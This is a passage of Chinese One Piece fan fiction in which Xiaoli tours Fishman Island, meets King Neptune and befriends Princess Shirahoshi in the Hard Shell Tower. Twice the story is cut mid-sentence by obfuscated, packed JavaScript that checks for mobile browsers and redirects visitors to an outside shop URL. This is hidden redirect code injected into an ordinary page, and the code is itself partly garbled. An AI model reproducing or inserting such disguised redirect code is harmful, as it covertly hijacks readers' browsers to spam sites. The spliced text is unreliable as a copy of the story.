那谬尔也注意到了,他贴心地递过来一杯热气腾腾的可可,浓郁的甜香瞬间驱散了一丝寒意:“喝点热的,会好很多。深海是这样的,第一次来都会有些不适应。”他放缓了声音,带着一种令人安心的笃定,“别担心,我们很快就到了。鱼人岛很漂亮的,跟这里完全不一样,你一定会喜欢。” 小狸小口小口地喝着滚烫的可可,暖甜的液体顺着食道流下,确实驱散了些许寒意和紧张。她靠在艾斯怀里,轻轻“嗯”了一声,努力将注意力集中在手中杯子的温度上,而不是外面那些游弋的恐怖阴影。 就在她集中精神对抗着深海带来的、无所不在的压抑感时,艾斯忽然轻轻碰了碰她的耳朵。 “小狸,看前面。” 小狸下意识地顺着他示意的方向,抬起有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042458|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疲惫的眼睫,望向船只正前方的无尽黑暗 起初,那里什么也没有,只有更深的黑。 但很快,一点微光出现了。 那光芒起初只是针尖大小,渺小得像是幻觉,在绝对的黑暗中顽强地闪烁着。 随着船只前行,那光点迅速扩大、变亮,最终,它化作了一片无法用任何言语形容的、宏伟壮丽到极致的景象 一座被巨大双层泡泡包裹的、梦幻般的岛屿赫然出现在前方!岛屿整体轮廓优美,内部灯火通明,依稀可见鳞次栉比的华丽建筑、摇曳生姿的珊瑚丛以及蜿蜒如缎带的发光道路。无数更小的泡泡载着货物或行人,在建筑间轻盈飘浮。 而最令人灵魂震颤的,是岛屿的正上方。 那是一颗巨大到超乎想象的树——“阳树夏娃”,它的根系深扎于鱼人岛的土地,而繁茂无比的树冠却顽强地穿透了万米厚的海水,直达遥远的海面之上!它将来自太阳的、温暖的□□,过滤、转化、引导下来,在深海之中形成柔和而梦幻的光彩 “好……好漂亮……” 小狸看得完全呆了,她所有的恐惧、不适、压抑,在这一刻都被眼前这超越一切想象力的奇景冲刷得一干二净,如同退潮般迅速消逝。 她的瞳孔放大,一眨不眨,里面清晰地倒映着鱼人岛绚烂迷离、流光溢彩的光芒。 船只缓缓驶入通往鱼人岛的海底专用通道,最终平稳地停靠在了珊瑚公寓附近的港口。众人真正踏上鱼人岛的土地时,小狸更是被扑面而来的奇幻景象彻底迷住了。 头顶上方,不再是幽暗的海水,而是鱼人岛内部的“天空”——流动着七彩光晕的护罩穹顶。空气中弥漫着淡淡的海水咸味,温度适宜,湿润而舒适。 而最让她移不开眼睛的,是那些在不远处的海水中自在嬉戏的美丽人鱼们。 她们拥有着人类女性姣好的面容,皮肤莹润,长发如海藻般飘逸。而腰肢以下,则是闪烁光泽,点缀着珍珠钻石的修长鱼尾,每一片鳞片都精致得像艺术品。她们游动时,腰肢轻摆,鱼尾划出流畅优美的弧线,阳光透过海水在她们身上洒下碎钻般的光点。 她们的声音也悦耳动听,笑声像一串串银铃,清脆地洒落在梦幻的街景中。 “看!是那谬尔队长回来了!” “那谬尔大人!这次会在岛上停留多久呀?” 几位容貌尤其俏丽的人鱼姐姐,率先注意到了港口这边的动静,热情地游了过来,显然与那谬尔十分熟稔。那谬尔虽然外表粗犷,但在同族尤其是这些活泼的年轻女性面前,显得温和了许多,笑着与她们打招呼,回答着问题。 其中一位人鱼姐姐,目光流转,很快注意到了紧紧挨着艾斯、正睁大了蔚蓝猫瞳、一眨不眨好奇地望着她们的小狸。 “哎呀!”她轻呼一声,美丽的脸上露出惊喜的笑容,摇曳着游近了一些,仰起头,凑到小狸面前,声音柔和亲切,“好可爱的小妹妹!是那谬尔队长带来的客人吗?好精致呀!” “真的耶!皮肤好白,还有这对耳朵……毛茸茸的,好想摸摸看!小姑娘,你叫什么名字呀?” 被一群漂亮的大姐姐们热情地包围、近距离地打量和夸奖,小狸刚刚因为震撼奇景而恢复正常的脸颊,又瞬间“轰”地一下变得通红,热度一直蔓延到耳根。 小狸被船上的坏家伙们带歪的审美使得她对成熟漂亮的大姐姐充满了好感,又尤其不擅长应对这种美人姐姐直白又充满善意的关注。她下意识地往艾斯身后缩了缩,只探出半个脑袋,声音细如蚊蚋: “我、我叫小狸……” “小狸?真好听的名字!”人鱼姐姐笑意更深,她和其他几位同伴交换了一下眼神,纷纷从随身携带的小包里,拿出散发着莹润光泽的天然小珍珠、小饰品,不由分说地塞进小狸怀里。 “这个送给你,小狸妹妹!欢迎来到鱼人岛!” “这个贝壳发夹很配你的眼睛哦!” “希望你喜欢这里!” “好想摸摸看,可以摸一摸吗,耳朵和尾巴” 小狸怀里瞬间被塞了一堆突如其来的、带着海洋气息的漂亮礼物,整个人都懵了,受宠若惊地抱紧它们,抬头看看身边含笑不语的艾斯,又看看正在和旁人说话的那谬尔队长,蓝色的眼睛里满是惊喜和不知所措的慌乱,像个突然被很多糖果砸晕的小孩。 艾斯看着她这副可爱的模样,忍不住低头,在她发顶轻轻落下一个吻,低笑道:“看来,我们小狸在这里也很受欢迎啊,去玩吧,她们很喜欢你。” 那谬尔也结束了简短的寒暄,转过头来,看着被礼物包围、脸颊绯红的小狸,哈哈大笑,语气里充满了自豪: “当然!鱼人岛,可是这大海上最热情好客的地方!小狸,放轻松,享受这里的一切吧!” 小狸脚尖蹭了蹭地面,有点不好意思“谢谢,可,可以摸得”说完还主动的把自己的尾巴送到人鱼姐姐手里,在一阵惊呼可爱中被哄得找不着北,等艾斯再看她时,她已经变成小黑猫瘫成一片猫饼躺在人鱼们中间被姐姐们争抢,眼睛眯成一条缝,有点放松过头了,一副享受至极神魂颠倒的样子,简直乐不思蜀 …… 这已经不是吃醋的问题了,艾斯觉得再这么下去事态要向某种不可控的方向发展,所以他果断把小猫拎了回来,揣进自己怀里 小狸意犹未尽,眼睛亮晶晶的看着他,兴奋地问着“姐姐们说,人鱼咖啡馆也不远的,我们去嘛!去嘛!” 看着过于兴奋的小狸,艾斯嘴角抽了抽,脑海中第一时间拉起警报,甚至心有余悸的看向远方的城镇 鱼人岛,真危险啊 99.随性的国王陛下 作为白胡子海贼团庇护下的领土,鱼人岛在经历了顶上战争后那短暂而难免的动荡后,很快就在爱德华·纽盖特的威名与震慑下,恢复了往日的秩序,甚至比以往更加繁荣安定。行走在鱼人岛光怪陆离的街道上,能清晰地感受到一种混合着安心与勃勃生机的独特氛围 小狸兴致勃勃地坐上了鱼巴士,趴在冰凉的泡泡舱壁上,蔚蓝的猫瞳里倒映着外面瞬息万变的海底街景 那谬尔坐在她旁边,耐心地充当着向导。他带着蹼的手指指向远处那棵支撑起整个鱼人岛光明与生命的巨树轮廓,声音浑厚:“看,那就是‘阳树夏娃’。鱼人岛的命脉。它的根系深扎岛基,树冠却能穿过一万米的深海,直达海面,把真正的阳光‘引’下来。”他顿了顿,补充道,语气里带着对造物神奇的敬畏,“没有它,鱼人岛就只是一片漆黑的深海废墟。” 小狸听得入神,尾巴不自觉地轻轻摆动。“好厉害……那谬尔的老家就在这里么?” “哈哈哈哈,”那谬尔大笑,摇了摇头,“不是哦。我的老家在鱼人街,在岛的另一边。那里……可比这儿‘热闹’多了。”他用了“热闹”这个词,但眼底一闪而过的复杂情绪,让小狸隐约感到那并非单纯的褒义。“这里算是鱼人岛的门面和王城区域,更繁华,也更……”他寻找着措辞,“规矩一些。” 第一站,理所当然地是小狸惦记了很久的“人鱼咖啡馆”。 内部比想象中更加宽敞明亮,最重要的是,完全没有小狸在某些人类酒馆里闻惯的、令人皱眉的烟酒浊气。 几位容颜姣好的人鱼服务员坐着泡泡在店内轻盈穿梭,为客人们奉上造型别致的饮品与甜点。 小狸双手托着腮,蔚蓝的猫瞳几乎一眨不眨地追随着那些美丽的身影,从她们飘逸的长发,到纤细的上身,再到那线条流畅的鱼尾。她看得入了迷,心里模糊地想:怎么会有这么完美的生物存在呢?上身是漂亮的大姐姐,下身是,鱼…… “咕咚。” 她飞快地、不甚明显地咽了下口水,一种强烈的、混杂了某种难以言喻情绪的念头冒了出来,那是……食欲 这想法一出现,她自己都吓了一跳,连忙用力摇头,把这不礼貌的念头甩出去,不行不行不行,绝对不行,这个想法绝对、绝对不能说出来! 艾斯坐在她对面,背靠着椅背,脸色明显不太好看。他的嘴角虽然还习惯性地勾着一点弧度,但眼神却没什么笑意,目光时不时扫过那些围着小狸热情介绍菜单、甚至偶尔会亲昵地摸摸她猫耳或顺顺她长发的人鱼服务员,牙齿在无意识间磨得咯吱轻响,指尖在桌面上有一搭没一搭地敲着,带着点不耐烦的节奏。 坐在艾斯旁边的那谬尔,将这一切尽收眼底。他端起一杯颜色深邃的海藻茶喝了一口,然后伸出大手,用力拍了拍艾斯的肩膀,脸上露出毫不掩饰的、幸灾乐祸的笑容,凑近压低声音道:“喂,艾斯,放松点。她们只是过客,看看而已。”他朝小狸那边努努嘴,声音里带着调侃,“你才是那个‘家’” 艾斯没好气地横了他一眼,从鼻子里哼了一声,没接话,但周身那股“生人勿近”的气场稍微收敛了一丁点。 店里提供的食物有蛋糕、海底的水果、贝类与海带类的菜肴,但基于人鱼不吃肉类和鱼类的理由,店里不提供肉类和鱼类的主食,对于一直和艾斯在一起习惯了扎实肉食的小狸而言,这些菜肴看起来虽然漂亮新奇,但总觉得……少了点油水带来的扎实满足感。 “好像……没什么特别想吃的东西呢。”小狸翻了翻菜单,小声嘀咕,猫耳朵耷拉下来一点。 艾斯看着一脸困扰的小狸,她虽然这么说,但眼睛还在好奇地打量着周围的一切,尤其是那些游来游去的美丽人鱼,侧脸在梦幻的光线下显得柔软又专注。 算了。 他叹了口气,难得见她这么开心,自己也不是那么小气的人……想看就看由着她吧。 “随便点些尝尝看”艾斯终于开口,声音恢复了平时的随意,只是还带着点懒洋洋的劲头 “嗯!”小狸立刻点头,尾巴又轻轻晃了晃,注意力终于从人鱼身上稍微转移到了食物。 等待食物的时候,小狸忍不住又看向最近的一位正为邻桌服务的人鱼姐姐,对方察觉到她的目光,回以一个温柔的笑容。小狸鼓起勇气,小声问:“那个……姐姐们都好漂亮啊,人鱼……都这么漂亮么?” 那位人鱼姐姐掩嘴轻笑,声音如风铃:“嘻嘻嘻,小妹妹嘴真甜。不过呀,在咱们鱼人岛,最漂亮的可不是我们哦。” “诶?还有更漂亮的?”小狸好奇地睁大眼睛。 “对的对的,”另一位路过的人鱼加入话题,语气带着毫不掩饰的崇拜与一丝惋惜,“是白星公主啦!绝对不会有人比白星公主更漂亮、更温柔的人了!她可是我们鱼人岛的瑰宝……唉,就是太可怜了,公主殿下她……已经被困在硬壳塔里整整十年了,没办法出来……” “白星公主?”小狸重复着这个名字,捕捉到了关键词,“被困在塔里十年?为什么?” 这个话题仿佛打开了某个开关,几位人鱼服务员都忍不住聚拢过来一些,七嘴八舌地开始讲述。她们的声音压低了,带着同情、愤怒与无奈。 “是因为那个可恶的范德·戴肯九世!” “十年了!用求婚的名义不停的用各种武器投向硬壳塔,公主根本不敢踏出一步!” “国王陛下和王子殿下们为了保护公主,只能让她一直住在硬壳塔里……” 小狸听着,眼睛越瞪越大,尾巴从一开始好奇的摆动,渐渐绷直,最后气得微微发抖。她握紧了小拳头,猛地从座位上站了起来! “太过分了!”她声音不大,却充满了义愤,“那个什么戴肯太可恶了!为什么……为什么大家不出手抓住他干脆解决这件事呢?我也可以帮忙的!”她看向那谬尔和艾斯,眼神灼灼,仿佛随时准备冲出去战斗。 那谬尔连忙伸手,示意她稍安勿躁,压低声音解释道:“小狸,冷静点。这不是简单的打架能解决的问题。鱼人岛是一个独立自治的国家,有它自己的法律和王族尊严。范德·戴肯九世是鱼人岛的内部问题,涉及历史恩怨和复杂的势力纠葛。咱们现在代表的是白胡子海贼团的意志,尼普顿国王是一位非常重视尊严和原则的君主,他不会轻易为了自己女儿的‘私事’,就向庇护者正式请求武力干预。那会被视为王族的软弱和无能,也可能给其他觊觎鱼人岛的势力落下口实。” 他叹了口气,语气带着理解与无奈:“这是内政,也是王族的骄傲与负担。除非涉及原则性的大是大非,或者对方主动、正式地请求援助,否则老爹也不好介入。目前的情况……显然还没到那一步。这也是没办法的事。” 小狸听完,像被戳破的气球,蔫了下来,尾巴也无精打采地垂着。“可是……白星公主好可怜……一直被关在塔里,十年……”她低声嘟囔,脑海里浮现出一个孤独的少女形象。 她沉默了一下,又抬起头,带着一丝希冀看向那谬尔:“那……如果,我只是去看看她呢?只是说说话,陪陪她……这样总可以吧?不算是白胡子海贼团的正式干涉,对吧?” 那谬尔看着小狸亮晶晶的、充满恳求的眼睛,顿时感到一阵头疼。他为难地挠了挠自己深蓝色的头发:“啊……这个……小狸,硬壳塔是龙宫城的重地,白星公主的身份又特殊,不是随便谁都能进去探望的。这需要龙宫城方面的正式许可,而且……” “哈哈哈,可以哦。不过白星比较害羞,要好好相处啊。” 一个浑厚、爽朗、中气十足的声音突然插了进来,打断了那谬尔的话。 咖啡馆内瞬间安静了一瞬。所有人,包括那谬尔、艾斯、小狸,以及所有的人鱼服务员和客人们,都循声望去,然后纷纷瞪大了眼睛。 人鱼们更是受宠若惊,立刻停下了手中的工作,有些慌乱又恭敬地行礼。 “国、国王陛下!?” 只见咖啡馆门口,一位体型极其魁梧壮硕、宛如小型海王类般的男性人鱼,正乘坐着一个特制的大型肥皂泡,慢悠悠地“飘”了进来。他头戴金色皇冠,有着醒目的橘红色蓬松羊毛卷发和同样茂密的络腮胡,红色的鼻头显得颇为喜感。双臂上有着火焰般的华丽刺青,身上覆盖着浓密的体毛,双腕戴着镶嵌宝石的金属护臂。正是鱼人岛的国王,尼普顿! 小狸惊讶地张大了嘴,仰头看着这位巨大的国王——她的视线范围内几乎全是对方毛茸茸的橘红色胡子和健硕的胸膛。原来……人鱼可以长到这么大的吗?!跟那谬尔队长完全是不同的“款式”啊! 那谬尔则是一脸“果然如此”的无奈表情,立刻站起身,语气带着责备与担忧:“国王陛下!您怎么又不带守卫自己跑出来了!要是被大臣们逮到,又要被念叨半天了!” “啰嗦!”尼普顿国王毫不在意地摆了摆手,声音洪亮,“不被他们逮到不就行了嘛!哈哈哈哈!”他爽朗地大笑着,操控着泡泡飘到小狸他们这一桌前,巨大的身影投下一片阴影。 小狸这才回过神,连忙学着人鱼们的样子,有些生疏地行了个礼:“国、国王陛下好!” “不用这么拘谨,小姑娘。”尼普顿低下头,巨大的脸上露出和善的笑容,红色的胡子随着他的动作抖动,“我和你们家老爹可是老交情了。在这里,可以自在一点。” 近距离看,这位巨大的国王虽然威严十足,但眼神温和,笑容爽朗,给人一种很好说话的感觉。 小狸的胆子稍微大了一点,想起刚才的话题,眼睛亮晶晶地再次确认:“那……国王陛下,我真的可以去拜访白星公主吗?我保证只是和她说话,不会给您添麻烦的!” “当然了!”尼普顿一口答应,显得十分随和,“一会我告诉鲨星一声,让他带着你去硬壳塔就行。” “鲨星?”小狸疑惑地看向那谬尔。 那谬尔低声解释:“是白星公主的兄长,龙宫王国的大王子,鲨星殿下。一位非常稳重可靠的殿下。” “嗯!要去!”小狸开心地点头,尾巴又欢快地摇晃起来,刚才的义愤填膺被即将见到“最漂亮公主”的期待取代。 艾斯在一旁看着,有点好笑地摇了摇头。这只小猫,情绪来得快,去得也快。他倒是没什么不放心的,毕竟是在龙宫城,还有国王许可。他伸手揉了揉小狸的脑袋,叮嘱道:“去了要懂礼貌,别给人家添乱。毕竟是在王宫里,规矩可能多一点。” “知道啦!我很乖的!”小狸用力点头,保证道。 于是,在尼普顿国王“顺路带你一程”的热情邀请下,小狸坐上了国王那只鲸鱼,和他一起离开了人鱼咖啡馆,朝着龙宫城的方向游去。 那谬尔和艾斯目送他们离开。那谬尔摇摇头:“国王陛下还是老样子,这么随性。”艾斯则笑了笑:“看来小狸今天有的忙了。” --- 乘坐鲸鱼前往龙宫城的路上,小狸最初的兴奋稍微平复,开始认真打量身边的尼普顿国王。这位巨大的国王确实毫无架子,甚至主动和她聊天。 “纽盖特他,身体还好吧?顶上战争之后,我一直很担心。”尼普顿的声音低沉下来,带着真切的关切。 小狸端正坐好,认真地回答:“谢谢您的关心。马尔科先生说,老爹他很有精神,恢复得很好,虽然每天还是闹着要喝酒……” 尼普顿闻言大笑,震得泡泡舱都微微晃动:“哈哈哈!那就好!你叫小狸对吧?怎么样,喜欢鱼人岛吗?” “嗯!很喜欢!”小狸用力点头,蔚蓝的眼睛里映出外面流光溢彩的海底世界,“这里非常非常漂亮,而且大家也都很和善。”她想起了咖啡馆里温柔的人鱼姐姐们,还有爽朗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小狸抿了抿嘴唇,没有再坚持。她能感觉到国王话语中的沉重与决断,那不是推诿,而是身为一国之君和一位父亲,在现实、责任与对女儿保护之间的艰难权衡。 鲸鱼缓缓降落在龙宫城宏伟而梦幻的宫殿前广场上。尼普顿带着小狸找到了一位正在巡视的、气质沉稳严肃的男性人鱼,他拥有鲨鱼的利牙和鳃裂,留着蓝色波浪型长发,相貌刚正,身材高大健硕,深蓝色的鱼尾强健有力,正是大王子鲨星。 “鲨星,这位是小狸。她想去硬壳塔探望一下白星,你带她过去吧。”尼普顿吩咐道,语气随意得像是让儿子带朋友去后院玩。 鲨星王子显然被自己父王这突如其来、想一出是一出的举动弄得一怔。他锐利的目光迅速扫过小狸——猫耳,尾巴,人类少女的外形,但气息并不普通。一个完全陌生的外来者,突然要去探望被严密保护、十年未曾接触外人的妹妹? 他心中涌起一阵无奈和轻微的不赞同,但父王的命令不容置疑。他只能压下疑虑,沉稳地躬身领命:“是,父王。” 尼普顿满意地点点头,又对小狸说了句“好好玩”,便乘着鲸鱼离开了,似乎还为成功“甩锅”给儿子而得意的大笑了一声,留下小狸和一脸严肃的鲨星王子。 气氛有点尴尬。小狸摸了摸自己的头发,主动开口,试图缓解:“你好,鲨星殿下。我是小狸,白胡子海贼团的成员。那个……突然提出这么冒昧的请求,给你添麻烦了。真的很抱歉……” 鲨星看着眼前有些局促、但眼神清澈坦率的少女,心中的那点不悦稍微消散了些。至少,她懂得礼貌,态度也很真诚。 “不必多礼,小狸姑娘。”鲨星的声音浑厚而平稳,带着王族特有的克制与礼节,“父王他……一向随性。鱼人岛长久以来承蒙白胡子先生的庇护,我们一直心怀感激。”他顿了顿,目光望向宫殿深处某个方向,眼神深处掠过一丝极淡的、难以察觉的柔和与忧虑,“我也……很感谢你能来看望小妹白星。她……确实很久没有接触过外面的朋友了。” 他的语气里没有抱怨,只有一种深沉的、兄长式的关怀与无奈。 “请随我来。”鲨星转身,强健的深蓝色鱼尾轻轻摆动,开始引路。小狸连忙跟上。 他们穿过龙宫城华丽而空旷的走廊,沿途的守卫明显增多,气氛也越来越肃穆。他们离开了主宫殿群,朝着一个相对偏僻的方向走去。 周围的灯光似乎暗淡了一些,华丽的装饰也逐渐减少。最终,他们停在了一座高大的、孤零零矗立的塔楼前。 “我们到了” 鲨星王子抬头望着高塔巨大的金属门,侧脸的线条在昏暗的光线下显得格外刚硬,但小狸似乎看到,他垂在身侧的手,微微握紧了一瞬。 小狸顺着他的目光望去,不由得屏住了呼吸。 与龙宫城其他建筑梦幻优美的风格截然不同,这座塔楼通体由某种深色的、仿佛金属与岩石混合的材质铸成,线条冷硬粗犷,透着一股沉重压抑的气息。塔身很高,塔身墙壁上遍布的、密密麻麻的各种痕迹 有巨大的刀斧劈砍留下的深刻凹槽,有像是标枪或长矛撞击留下的坑洞,有爆炸熏黑的焦痕,这些痕迹新旧叠加,有些还很新鲜,有些则已覆盖上些许海底的苔藓或沉积物,无声地诉说着长达十年、从未间断的疯狂袭击。 塔楼周围的地面也显得凌乱,散落着一些断裂的武器碎片和未曾清理干净的碎石。这里的气氛与鱼人岛其他地方的安宁祥和格格不入,充满了暴力的残留与紧绷的防御感。 小狸想象着,一个六岁的小女孩被带到这里,然后看着各种各样的武器,日复一日、年复一年地撞击在这堵墙上,发出恐怖的巨响……而她只能躲在里面,无处可逃。那份被讲述时的“同情”,此刻似乎具象化了。 这就是……硬壳塔?大家口中美丽温柔的人鱼公主就一直住在这样的地方…… 100.高塔里的公主 厚重的金属大门在身后无声地合拢,将外面龙宫城隐约的华彩与声响隔绝。小狸跟着鲨星王子踏入硬壳塔内部,眼前的光景让她微微一愣。 与外壁的冷硬、伤痕累累截然不同,塔内竟是一个布置得极其粉嫩、温馨,甚至带着些许梦幻少女气息的巨大房间。墙壁被刷成柔和的淡粉色与珍珠白,地上铺着厚厚的绒毯。房间中摆放着几乎有普通房屋那么大的床铺,另一角是同样比例夸张的梳妆台,空气里弥漫着淡淡的香气,似乎是特制的熏香,用来驱散深海塔楼常有的潮湿沉闷。 然而,这精心布置的温馨,却愈发衬托出一种被强行包裹在坚硬外壳下的、巨大的孤独感。这里太安静了,安静得能听到自己呼吸和心跳的回音。 小狸仰起头——即使有心理准备,真正看到白星公主的瞬间,她还是震撼得屏住了呼吸。 好……好大!虽然知道人鱼体型差异很大,但亲眼见到如此巨大又美丽的不可思议的女性人鱼,冲击力依然惊人。白星公主仅仅是半倚在那里,就已经比站着的鲨星王子还要高出许多 她的皮肤白皙细腻,在柔和光线下泛着淡淡的光泽。长长的、如同蝶翼般的睫毛颤动了几下,缓缓睁开 那是一双碧蓝色的眼眸,瞳孔周围似乎还有细碎的光点,盛满了惊怯与长久独处带来的忧郁。此刻,这双美丽的眼睛正因乍然看到门口出现的、陌生的猫耳少女而瞬间睁大。 “!!!” 白星下意识地就要惊呼出声缩进被子里,粉嫩的唇瓣微微张开,眼眶以肉眼可见的速度迅速泛红,一层晶莹的水雾迅速晕开,仿佛下一秒就会哭出来。 “啊!请、请不要哭!”小狸也被这突如其来的反应吓了一跳,连忙摆手,声音不自觉地放轻放柔,像在安抚受惊的小动物,“那个,你好,白星公主!我是小狸,是……是你父王和哥哥允许我来看望你的!我没有恶意!” 白星的惊呼卡在喉咙里,她抽了抽小巧通红的鼻子,眼泪在眼眶里打着转,却强忍着没有落下。她怯生生地从被子里又探出一点点,巨大又美丽的眼睛无助地看向站在门口的兄长鲨星,像在寻求确认和庇护。 鲨星沉稳地点了点头,声音放得比平时更加温和:“白星,这位是小狸小姐,是白胡子海贼团的客人,不用担心。” 得到兄长的肯定,白星紧绷的身体这才微微放松下来。她小心翼翼地、带着点羞涩地从被子里钻出来,坐在床边,轻轻整理了一下有些凌乱的长发和胸前的衣襟。因为刚才的惊吓和此刻的窘迫,她白皙的脸颊染上了淡淡的红晕。 “你、你好,小狸大人。我是白星。”她的声音轻柔悦耳,却带着明显的紧张和拘谨。 小狸见白星似乎不再那么害怕,心里松了口气。她试探性地往前走了几步,想拉近一些距离。白星的身体因为她的靠近而又不自觉地微微颤抖了一下,碧蓝的眼睛里闪过一丝慌乱。 小狸立刻体贴地停下了脚步,没有再继续靠近,脸上扬起一个尽量友好、毫无威胁的笑容:“不需要叫我‘大人’啦,叫我小狸就好。真的非常抱歉,突然来打扰你。我……我在外面听说了白星的事……很想来看看你,和你聊聊天。可以么?” 她仰着小脸,蔚蓝的猫瞳真诚地看着白星,尾巴在身后轻轻、友好地摆动着。 白星的目光被小狸那对随着说话微微抖动的黑色猫耳和长尾吸引了。新奇感稍微冲淡了一些紧张。她仔细看了看小狸的表情,那张小巧精致的脸上只有真诚的善意和一点点小心翼翼的期待,没有任何她偶尔从某些来访者眼中看到的怜悯、好奇或者别的让她不舒服的情绪。 她慢慢地、轻轻地点了点头,脸颊的红晕未退,声音比刚才稳定了一些:“当、当然可以了,小狸大人。你是……专门过来,陪我聊天的么?”问出这句话时,她眼底闪过一丝难以置信的微光,仿佛“专门有人来陪自己聊天”是一件极其奢侈的事情。 小狸故意板起脸,双手叉腰,做出一副严肃的样子纠正道:“是·小·狸!不要加大人啦!我也会叫你白星的……念起来有点奇怪,白星星!可爱!” 她刻意做出的夸张表情和语气,让白星愣了一下,随即,“噗嗤”一声,极其轻微、却真实的笑声从她唇边溢出。那笑容瞬间点亮了她整张脸庞,让那份美丽更加鲜活生动。 两个少女相视而笑。初次见面的隔阂与生疏,仿佛也在这份笑容中悄然消融了几分。 鲨星王子站在门口,看着妹妹脸上那罕见的轻松笑容,刚毅的脸上线条柔和了些许。他知道自己不太适合留在这里参与这场女子会,便适时地开口:“白星,小狸小姐,你们慢慢聊。我还有一些公务需要处理,大约两小时后回来接小狸小姐离开。期间会有侍女送来茶点。” 他又对小狸点点头:“小狸小姐,请随意,但请注意时间。白星,好好招待客人。” “是,兄长大人。”白星乖巧地应道。 “麻烦您了,鲨星殿下。”小狸也礼貌地道谢。 鲨星离开后,房间里的气氛更加放松了。很快,两位人鱼侍女推着特制的、带有轮子的小车进来,送上了茶点。因为白星体型的缘故,一切都被放大了,茶杯像小水缸,盛着海藻果汁;甜点更是惊人,饼干有脸盆那么大,蛋糕切片厚度堪比枕头。 小狸看着眼前这块比自己脸还大的、装饰着奶油的曲奇,有点无从下口,最后只好双手捧起来,像只小松鼠一样小口小口地啃着边缘。这憨态可掬的样子又逗得白星掩嘴轻笑。 享用茶点的间隙,两人聊了起来。话题从简单的自我介绍开始,逐渐深入。 “因为父王立下的规矩,为了保护我的安全,也为了不干扰士兵们的职责,平时士兵们只能在换岗或送物资时进来,而且最多只能停留五分钟。”白星低声说着,手指无意识地绞着床幔的流苏,“所以……大部分时间,陪着我说话的,只有梅卡罗。”她指了指房间里的巨大鲨鱼,小狸笑眯眯的和鲨鱼打了个招呼。 白星碧蓝的眼眸望向高高的、狭小的窗户,那里透进来一丝朦胧的光。她单手托着腮,巨大的身躯微微前倾,带着一种无法掩饰的、近乎贪婪的憧憬,轻声问道: “小狸……外面的世界,到底是什么样子的啊?” 没等小狸回答,她又迫不及待地、像是背诵般的抛出一个又一个问题: “阳光下的海……和阳树夏娃的光照着的海,是一样的吗?是不是更温暖?更明亮?” “书上说,夜晚的天空有星星,是真的吗?它们是什么样子的?” “还有树!陆地上的树!它们真的能长得那么高,叶子会在风里沙沙响吗?” 她的问题天真而直接,每一个都指向她十年来只能从书本或来访者只言片语的描述中拼凑想象的图景。那份深切的渴望,几乎化为实质,充盈在这个独她一人的囚笼里。 小狸放下了手里的曲奇,坐直了身体,认真地回答着白星每一个问题。她没有敷衍,而是尽力用自己见到过、感受过的细节去描绘。 她讲阳光下的海面如何波光粼粼,像撒满了碎钻,讲不同天气下海洋变幻的脸色。 她讲真正的星空,那些恒久闪烁的、遥远的光点,如何铺满深邃的夜幕,讲偶尔划过的短暂又绚烂的流星。 她讲森林里的树,讲粗糙的树皮,讲风吹过树叶时连绵不断的沙沙声,讲雨后森林湿润的泥土和草木混合的清新气息。 她也讲莫比迪克号,讲那面巨大的白胡子旗帜如何在风中猎猎作响,讲甲板上永远热闹的日常,讲那些性格迥异、吵闹却无比可靠的家人们…… 白星听得入了迷,眼睛一眨不眨,时而因惊叹微微睁大,时而抿唇轻笑,时而又因听到某些冒险经历而紧张地攥紧衣角。她的情绪完全被小狸的讲述牵引着,仿佛透过这些话语,她也暂时逃离了这座高塔,亲眼见到了那片广阔而精彩的天地。 “哈哈哈……原来外面的世界,是这个样子的么?”白星笑出声,眼中闪烁着前所未有的明亮光彩,“好想……好想出去看看呀……” 她轻声叹息,那叹息里没有了之前的忧郁,而是充满了纯粹的向往。 小狸看着她的笑容,心里既高兴又有些酸涩。她想起艾斯和那谬尔的叮嘱,犹豫了一下,终究没有轻易许下“我带你出去”的承诺。她知道那牵扯太多,不是现在的自己能随意应承的。但她还是用力点头,眼神坚定地看着白星: “一定会有那么一天的!白星!” 她的语气如此笃定,仿佛在陈述一个必将到来的事实。 白星怔怔地看着小狸那双清澈而充满力量的蓝眼睛,仿佛被其中的信念所感染。片刻后,她脸上的笑容更加灿烂,用力点头:“嗯!我相信!到时候……小狸要带我一起玩呀!我想看看真正的星空,想摸摸陆地上的树和动物,还想……见见小狸的家人!” “好!一言为定!”小狸伸出小拇指。 白星愣了一下,随即反应过来,也小心翼翼地伸出自己巨大的小拇指,轻轻地碰触小狸那小小的指头。巨大的手指和纤细的手指形成鲜明对比,却完成了一个无比郑重的约定。 两人相视而笑,房间里充满了轻松愉快的气氛。 “其实你现在也可以摸的嘛~” 小狸变成小黑猫,慵懒的伸了个懒腰,把一直爪子搭在白星的手背上,在白星欣喜的惊呼中用毛茸茸的脑袋蹭了蹭白星的手臂 “说起来,路飞也快到鱼人岛了吧?” “路飞?” “嗯!是一个大大咧咧的有趣的家伙,他吃了橡胶果实,脸可以拉那么长” 小猫的两只爪子比划了一个夸张的距离,“总是把肚子吃的像气球一样,戳一戳不知道会不会漏气……” “好有意思啊,路飞大人” 小狸趴在白星的胸口 “白星星一直一个人么?一个朋友也没有么?” “也……也不是,我有一个朋友,虽然没见过面,但是我们偶尔会打电话……” “哎?是个什么样的人” “嗯……是个说话很大声的大人,总是说一些恐怖的话,有点凶,但是心不坏,是个,很坏的好人?” “哎——?不是什么奇怪的家伙吧?” “不会吧……” “白星星你这样随便相信别人很危险的哦” 这份温馨的宁静并未持续太久。 “轰!!!” 